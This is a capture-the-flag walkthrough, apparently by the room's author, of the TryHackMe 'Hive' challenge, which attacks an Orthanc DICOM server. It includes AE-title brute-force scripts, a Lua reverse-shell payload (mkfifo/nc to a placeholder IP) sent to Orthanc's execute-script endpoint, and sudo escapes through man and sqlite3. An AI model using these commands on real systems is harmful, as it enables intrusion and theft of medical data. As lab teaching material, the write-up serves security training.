The Hive - Tryhackme

Tuesday, August 9, 2022

If you don’t know about tryhackme.com, it’s an online platform for learning cyber security hands-on. Multiple “rooms” are available to get better in cybersecurity. Usually, a room consists in a vulnerable system running in a virtual machine that you can access through a private ip. Your goal is to get flags hidden in the system by discovering and exploiting various vulnerabilities. Users can also propose their own rooms, it makes it quite fun to solve other people challenges and share knowledge!

I had already created a room about exploiting a kubernetes cluster some time ago, but recently I got inspired and created a new one about healthcare security - with a nice resident evil theme :-)

If you’re curious about how to solve this challenge, here’s a writeup:

Reconnaissance

To makes things a bit more convenient, edit your /etc/hosts file, adding a hive.thm entry to save your target IP:

x.x.x.x   hive.thm

First things first, let’s portscan :

nmap -sV -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:24 CEST
NSE: Loaded 5 scripts for scanning.
Initiating Ping Scan at 01:24
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:24, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:24
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 22/tcp on x.x.x.x
Discovered open port 80/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:24, 0.90s elapsed (1000 total ports)
Initiating Service scan at 01:24
Scanning 4 services on hive.thm (x.x.x.x)
Completed Service scan at 01:24, 21.58s elapsed (4 services on 1 host)
NSE: Script scanning x.x.x.x
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:24
Completed NSE at 01:24, 0.00s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.067s latency).
Scanned at 2022-08-08 01:24:27 CEST for 23s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT     STATE SERVICE         REASON  VERSION
22/tcp   open  ssh             syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            syn-ack SimpleHTTPServer 0.6 (Python 3.5.2)
4242/tcp open  vrml-multi-use? syn-ack
8042/tcp open  nagios-nsca     syn-ack Nagios NSCA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On port 80, we get an assignment from the Red queen.

(I used kdenlive to make this video, took quite some time to learn it but it was a lot of fun 😂)

It contains a hint to find something that seems to be a password 😈

Then we get two other ports :

  • 8042: another webserver
  • 4242: a tcp endpoint

Let’s learn a bit more about the webserver:

curl -vvv -L http://hive.thm:8042/
*   Trying x.x.x.x:8042...
* TCP_NODELAY set
* Connected to hive.thm (x.x.x.x) port 8042 (#0)
> GET / HTTP/1.1
> Host: hive.thm:8042
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Connection: keep-alive
< Keep-Alive: timeout=1
< WWW-Authenticate: Basic realm="Orthanc Secure Area"
< Content-Length: 0
<
* Connection #0 to host hive.thm left intact

So it appears to be an Orthanc server protected by HTTP basic auth.

It probably exposes a port for DICOM.

The following nmap script can help us learn more about it: https://nmap.org/nsedoc/scripts/dicom-ping.html

nmap --script=dicom-ping -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:51 CEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.00s elapsed
Initiating Ping Scan at 01:51
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:51, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:51
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 80/tcp on x.x.x.x
Discovered open port 22/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:51, 0.99s elapsed (1000 total ports)
NSE: Script scanning 10.10.99.46.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.12s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.075s latency).
Scanned at 2022-08-08 01:51:27 CEST for 1s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack
80/tcp   open  http     syn-ack
4242/tcp open  dicom    syn-ack
| dicom-ping:
|   dicom: DICOM Service Provider discovered!
|_  config: Called AET check enabled
8042/tcp open  fs-agent syn-ack

So port 4242 is indeed a DICOM endpoint.

We can also try to probe it using dcmtk, it’s a toolkit that contains many programs to work with DICOM, including the following echoscu.

echoscu hive.thm 4242
F: Association Rejected:
F: Result: Rejected Permanent, Source: Service User
F: Reason: Called AE Title Not Recognized

Bruteforcing

Both nmap and echoscu show that there is a check on the Called AET and we don’t know it. So… let’s try to bruteforce it!

nmap proposes a script to bruteforce an AET but it was so slow for me that I decided to write my own program.

#!/bin/bash
while read p; do
    echoscu -aec $p hive.thm 4242 > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo AET FOUND $p
        break
    else
        echo invalid aet $p
    fi
done < wordlists/rockyou.txt

Or if you prefer using python:

from pynetdicom import AE
from pynetdicom.sop_class import Verification

ae = AE(ae_title='local')
ae.add_requested_context(Verification)

orthanc_host = "hive.thm"
orthanc_port = 4242

with open('wordlists/rockyou.txt') as wordlist:
    for line in wordlist:
        assoc = ae.associate(orthanc_host, orthanc_port, ae_title=line.strip())
        if assoc.is_established:
            assoc.release()
            print(f'AET FOUND: {line.strip()}')
            break
        else:
            print(f'Invalid AET: {line.strip()}')

Using the rockyou wordlist, we manage to find the AET pretty quickly.

Using DICOM

Now that we know the called AET, we can start interacting with the DICOM server.

findscu and getscu from dcmtk can be used to do it, first by listing patients and then by downloading a patient’s study.

findscu -aec shadow -P -k "0008,0052=PATIENT"  -k "0010,0020=" hive.thm 4242
getscu -aec shadow -k "0008,0052=PATIENT" -k "0010,0020=MARCUS" hive.thm 4242

But I think it’s much easier to do it with weasis.

In weasis, configure a DICOM node with the AE title found earlier:

Then search and import studies from the PACS in “DICOM Query/Retrieve”:

We can now look at the study, slices of a human skull. In one of the last slices, a password is visible.

(blurred here)

We can now log into orthanc using marcus account with the password we just found!

Remote code execution

Orthanc exposes a REST API that has a very insteresting endpoint.

Let’s try to get a shell.

Locally, run nc -l -p 4242 to listen for TCP traffic.

And send our reverse shell payload through the execute-script endpoint.

payload.lua:

local handle = io.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_LOCAL_IP 4242 >/tmp/f")
local result = handle:read("*a")
handle:close()
print(result)
curl -u marcus:xxxxxxxx http://hive.thm:8042/tools/execute-script -X POST -d @payload.lua

And it worked, we have a shell!

Privilege escalation

First, let’s stabilize the shell:

python3 -c "import pty; pty.spawn('/bin/bash')"

Who are we?

marcus@hive:/$ whoami
whoami
marcus

Looking into marcus home directory, we find the first flag!

What can we do?

marcus@hive:/$ sudo -l
sudo -l
Matching Defaults entries for marcus on hive.thm:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marcus may run the following commands on hive.thm:
    (isaacs) NOPASSWD: /usr/bin/man

So we can execute the manual as another user and inside the manual we can get another shell:

$ sudo -u isaacs /usr/bin/man man
!/bin/sh

Did it work?

$ whoami
whoami
isaacs

It did!

What can we do now?

$ sudo -l
sudo -l
Matching Defaults entries for isaacs on hive.thm:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User isaacs may run the following commands on hive.thm:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/sqlite3

Executing sqlite3 as root. Let’s get another (again!) shell:

sudo sqlite3 /dev/null '.shell /bin/sh'
# whoami
whoami
root

And we’re root, final flag is in root’s home directory.

That’s it! I hope you enjoyed the challenge and that DICOM hasn’t been too painful if you just learnt about it!